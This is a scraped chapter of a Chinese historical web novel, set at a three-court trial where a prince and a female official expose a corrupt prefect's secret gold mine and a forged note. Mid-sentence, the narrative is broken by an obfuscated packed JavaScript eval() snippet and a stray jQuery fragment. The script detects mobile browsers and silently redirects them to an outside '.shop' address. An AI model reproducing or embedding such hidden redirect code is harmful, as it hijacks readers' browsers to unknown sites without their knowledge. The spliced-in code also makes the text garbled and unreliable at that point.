文趣网 > 其他小说 > 她在青袍之下 > 26. 第 26 章
    中州府衙有二十年不曾这般热闹了。

    沉寂已久的刑名之地,终于又等来了一场大戏。

    大堂上明镜高悬的匾额被擦得锃亮,墨底金字在晨曦中泛着冷光。

    连溱穿过人群,跨过门槛,稳步踏入大堂。阴了多日的天终于放晴,日光从她身后照进来,在青砖地面上拖出一道狭长的影子。

    大堂中央,赵询一人独立,无冠无饰,却身姿笔挺,神色平静。虽有软禁之实、被告之名,但以他亲王之尊,便是站在这大堂上,也无人敢让他下跪。

    他听到脚步声,微微侧头望向门口。

    两人的目光在满堂肃穆中撞在一起。

    赵询极轻地勾了一下嘴角,连溱微微颔首,行至堂前,朝许沅拱手一揖:

    “下官连溱,奉召到堂。晟王殿下蒙冤,下官愿为殿下剖辩,请许尚书主持公道。”

    许沅高坐堂中,左右两侧坐着都察院右佥都御史李禾、大理寺少卿詹士兰,俱是面色端肃。

    刘同升站在右侧,出言嘲讽:“连部郎好大的架子,三法司会审,你倒比殿下还来得晚。怎么,是昨夜忙着翻书找词,还是心虚腿软了?”

    连溱呵呵低笑两声:“刘知府这般着急,可是急着给自己挑个好时辰上路?”

    “你!”刘同升脸色铁青,“连溱,这里是三法司公堂,你休要放肆!”

    许沅抬手制止二人的争论:“刘知府,你方才说对本案始末知之甚深,那便由你先行陈情。”

    刘同升迈步出列,拱手道:“下官身为中州知府,又是薛展内兄,这其中是非曲折,自然是再清楚不过。”

    他偏头看了赵询一眼:“晟王殿下到任后,先是以河务之名向薛展索捐五万两,后又贱价强买薛家石料,薛展屡被逼迫,欲向朝廷告发,这才惨遭晟王殿下毒手。”

    “如你所言,可有证据?”许沅问。

    刘同升从袖中取出一封信函呈上:“这是薛展死前写给下官的亲笔信,信中字字血泪,请尚书过目。”

    许沅接过信函,抽出内笺细看,信末薛展的私印的确清晰可辨。

    刘同升在一旁叹道:“薛展在信中写道,晟王步步紧逼,他夜不能寐、食不甘味,只恐薛家百年基业毁于一旦。他求下官代为呈递御状,谁知状还未递,人便没了。”

    许沅将信笺置于案上,未置可否。

    刘同升又朝堂外扬声道:“传薛府管事周武上堂。”

    周武低头走进大堂,双手伏地,不敢抬头。

    刘同升走到他身侧:“周武,你把你所知所见,一五一十说与诸位老爷听,不得隐瞒。”

    “是。”周武咽了口唾沫,“老爷捐银之前,特地去了账房盘问库上还有多少现银,然后把所有能支用的现银都取走了。”

    许沅问:“取走多少?”

    “三万两。”周武答,“后来老爷从道署回来之后,整个人便不大对了。请了大夫来看,说是郁结于心、肝火亢盛,开了安神的方子,吃了也不见好……”

    许沅打断他:“后来呢?”

    “后来老爷把中州城里几间铺面的地契、房契都翻了出来,让账房算价,说要转卖,还……还……”周武看了一眼赵询,吞吞吐吐不敢直言。

    赵询看了他一眼:“有话直说。”

    “还咒骂晟王殿下是索、索命鬼,贪心不足,欺人太甚,非要逼死他才肯罢休。”

    赵询淡淡听着,神色未动。

    刘同升朝许沅拱手:“许尚书,周武是薛府中人,亲耳所闻、亲眼所见,做不得假,除他以外,薛府账房、下人皆可作证。薛展被逼到要变卖家业,甚至私下咒骂晟王,这难道不是明证吗?”

    他顿了顿,加重了语气:“至于毒杀一事,子夜散乃宫中禁药,寻常人根本无法拿到。偏偏惠妃娘娘有取药记录,这子夜散又跟晟王殿下一同出现在中州,难道当真只是巧合?”

    许沅沉默片刻,看向赵询:“殿下,对刘知府所言,你作何解释?”

    赵询面色从容:“薛展的确是被逼的。”

    此话一出,满堂哗然。

    “不过,不是我逼的。”他转向刘同升,缓缓开口道,“刘知府似乎忘了,让薛展三日内捐五万银的话……乃是出自你口,那日在府衙,本王与连部郎都听得清清楚楚。”

    刘同升面色不变:“殿下此言差矣,当日殿下与连部郎来府衙议事,下官不过是就河工银短缺之事略陈己见,何曾让薛展捐过一两银子?”

    他转身朝许沅道:“许尚书明鉴,晟王殿下口说无凭。当日花厅之中只有殿下、连部郎与下官三人,并无旁人在场,殿下如今无凭无据用这话来污蔑下官,下官百口莫辩。”

    连溱突然开口:“刘知府可还记得殿下那日因何到访?”

    刘同升脸色微微一白。

    连溱话音一转,没有给他喘息的机会:“那日陈桥溃堤,下官向中州府求援,刘知府送来掺霉米的粮,殿下乃是问罪而往,你认是不认?”

    刘同升冷声道:“此事下官早已解释过,是采买时被奸商蒙骗,后来下官也补了新粮,连部郎何必揪着不放?”

    连溱问:“那你为何要让薛展捐银,不就是为了平息此事?”

    刘同升拔高了声调:“荒谬!本官堂堂四品知府,岂会为了几石霉米就做出这等事来?莫说那批霉米下官不知情,即便查下来,不过罚俸、申斥,何至于要动用五万两银子去堵?”

    “那我就问刘知府一句,”连溱悠悠道,“既然不是为了霉米,那你是为了什么见不得人的事,要让薛展替你把坑填上?莫不是想趁机逼死薛展以窃取薛家家业?”

    刘同升怒极反驳:“当然不是!本官是为了——”

    “为了什么?”

    刘同升张了张嘴,一时没有接上话,额上的汗却瞬间涌了出来。

    连溱微微一笑:“我来替你说。”

    她从袖中取出一只小布袋,解开系绳,将里面的东西倒在白绢上。

    暗金色的细沙在纯白的绢面上格外醒目。

    “刘知府可认得这个?”

    刘同升盯着那捧沙,冷哼一声:“沙子到处都是,本官如何认得?”

    “是吗?”连溱拈起一撮细沙,用指腹轻轻碾开,“这是薛家北坡石料场附近的河沙,沙中含金。薛家明面采石,暗中采金,刘知府作为薛展内兄,应当很清楚才是。”

    她把白绢往前递了递,日光恰好照在那一片暗金之上,流光碎影,很是晃眼。

    “只是不知……”她抬眼看向刘同升,“你替薛展遮掩了几年?替他销了多少账?他每年往你府上送的银子,是你帮他遮了金矿的利钱,还是你替他分销的份额?”

    刘同升面色变了几变,很快又恢复了镇定。

    他冷冷一笑:“你拿一把沙子来,就说薛家有金矿,又说本官与金矿有染,莫不是把许尚书当傻子?”

    他心下清楚,如今金矿已毁,在逃的矿工均已灭口,连溱无凭无据,一把沙子就想给他定罪,未免天真。

    “若有真凭实据,不妨拿出来。”刘同升摇了摇头,“若是没有,本官倒是要问一句,连部郎费尽心机构陷本官,究竟是想替晟王脱罪,还是另有所图?”

    连溱点点头:“你想要证据?那我便给你证据。”

    她转向许沅,拱手道:“许尚书,下官请求传证人上堂。”

    许沅微微颔首:“传。”

    片刻后,两个河兵搀着一个身形枯槁的男人走进大堂。

    刘同升也转过目光,漫不经心地瞥了那人一眼。原以为不过是个寻常的河工或苦力,可待他看清那张瘦得脱了相的脸时,瞳孔骤然缩紧了。

    他上前一步:“许尚书,此人已是将死之相,说的话如何可信?”

    连溱从袖中取出一张皱巴巴的告示,呈到许沅案前:“许尚书,这是下官几日前在中州府衙门前揭下的通缉令,通缉之人正是堂下之人。”

    一旁的大理寺少卿詹士兰取过告示,走到王萧身前仔细比对,对许沅点了点头。

    连溱继续道:“许尚书,此人名叫王萧,乃薛家的矿工。”

    她转向刘同升:“此事还需刘知府解惑,这薛家的矿工何时改名换姓成了狱司的囚犯?你以越狱之名行追捕之实,意欲何为?”

    刘同升脸上血色褪了大半:“你、你……你怎知他不是囚犯?本官身为中州知府,缉拿越狱逃犯乃是分内之责!”

    连溱没有理他,转向王萧,重复了一遍刘同升方才对周武说的话:“王萧,把你这些日子的所知所见,一五一十说给诸位老爷听,不得隐瞒。”

    王萧跪在地上,身

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653200|204245||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    影沙哑:“小人……小人本是薛家石料场的矿工,后来被管事挑中,签下生死状,去北坡开采金矿。”

    他喘息了一阵,缓了口气:“前些日子……金矿透水,死了不少弟兄,薛老爷下令封了矿口,我心中害怕,和三个幸存的工友趁夜逃了。

    “可没过几日,官府的人就把我们抓了回去,在狱里打死了另外三个弟兄,我、我靠装死才逃过一劫。后来……他们把尸首扔到河里,小人会泅水,顺水漂了一夜,才被连老爷救下。”

    他顿了一下,缓缓抬起头看向刘同升:“知府老爷,你不记得小人了吗?你亲自来矿上的时候,小人在井口见过你。”

    刘同升的脸已经白透了,半晌才挤出一句:“一派胡言!本官从未去过什么金矿!你这是被人指使,捏造诬陷!”

    王萧摇摇头:“我……我是将死之人,不会说谎。你两月前在矿里踩滑伤了左脚,伤疤想必还没愈合吧?”

    刘同升张了张嘴,却什么话也没说出来。

    连溱上前一步:“刘知府可敢当堂查验?”

    刘同升退回一步:“我……”

    赵询突然开口:“刘知府没话说了?”

    他微微一笑:“那到本王了。”

    他看向许沅:“许尚书,此前薛家大公子曾上交一张字条,乃是有人暗中塞入他房中,教唆他弑父夺产,现请将纸条取出细查。”

    许沅微微颔首,身后书吏快步走进内堂,片刻后白斐捧着木匣从内堂出来。衣裳上还沾着那日掰青砖蹭上的泥,头发凌乱,眼下青黑一片,胡茬都冒出了不少。

    赵询朝他点点头,白斐打开匣子,呈至许沅面前。

    “许尚书可注意到这纸的边缘?”

    许沅低头细看了半晌,慢慢蹙起了眉头。字条并非规整裁切,左下方有一小段极浅的残纹,若非仔细端详,极易忽略。

    赵询道:“大雍各州府衙的公文纸皆有标识,京城的用的是云纹,泗州用的是水波纹,中州用的便是缠枝纹。这半截暗纹虽不完整,但纹路的走向、间距,与中州府衙公文用纸一般无二。许尚书可取一份府衙今日存档的公文对看。”

    书吏呈上一份府衙文牒,许沅将两纸并列,侧过头在光下细细比对。

    片刻后,许沅抬起头,看向刘同升的目光又沉了几分。

    赵询继续道:“可否将字条借本王一观?”

    书吏将字条送到赵询手上,他细看了片刻,抬头看向刘同升:“刘知府平日签发公文,用的是左手还是右手?”

    刘同升咽了咽口水:“自然是右手,这有何可问?”

    “这纸上字的横画,全部左高右低,行款向右下倾斜,故而,这是左手写的。”赵询拿起纸条,指尖在纸面虚虚划过,“再看这个‘杀’字,竖勾力道虚浮,典型的左手运笔。”

    赵询话音一转:“一个惯用右手的人改换左手写字,哪怕刻意改变字形,有些习惯却是很难改掉的。本王翻阅过中州府衙的旧档,发现刘知府的笔迹有个特点,横画先重后轻,撇捺收笔处微微上挑,折笔处钝而不锐,与这字条上的字如出一辙。”

    刘同升猛地抬起头,怒道:“殿下!你这是在构陷本官!左手写字如何比对?天下人人写字都有横撇折捺,难道但凡是这般落笔的,都是本官写的?”

    许沅沉默片刻,缓缓开口:“取刘知府的公文批阅来。”

    书吏快步捧来一沓文书放在案上,詹士兰起身,将字条与公文并排铺开,先比纸纹,再比落笔习惯,逐字描摹对照。

    满堂无人出声,只有纸张翻动的轻响。

    良久,詹士兰抬起头:“许尚书,这纸条上的字虽刻意用左手书写,但起笔、收笔、转折处的习惯,与公文字迹一致。刘知府写捺时惯有拖笔,落笔重且收笔轻,这字条上的‘速’字,也是这个写法。”

    詹士兰顿了一下:“下官以为,两张字迹,出自同一人之手。”

    许沅接过比对纸,看了很久。

    刘同升站在堂上,仍撑着最后一丝气力:“许尚书,这字条上的字是左手写的,如何能断定是本官?万一有人故意模仿本官的笔迹……”

    他摇着头:“本官不认,这根本不足以定罪……”

    就在此时,门外一声清亮的女声响起:“字迹不足以定罪,那账本呢?舅舅?”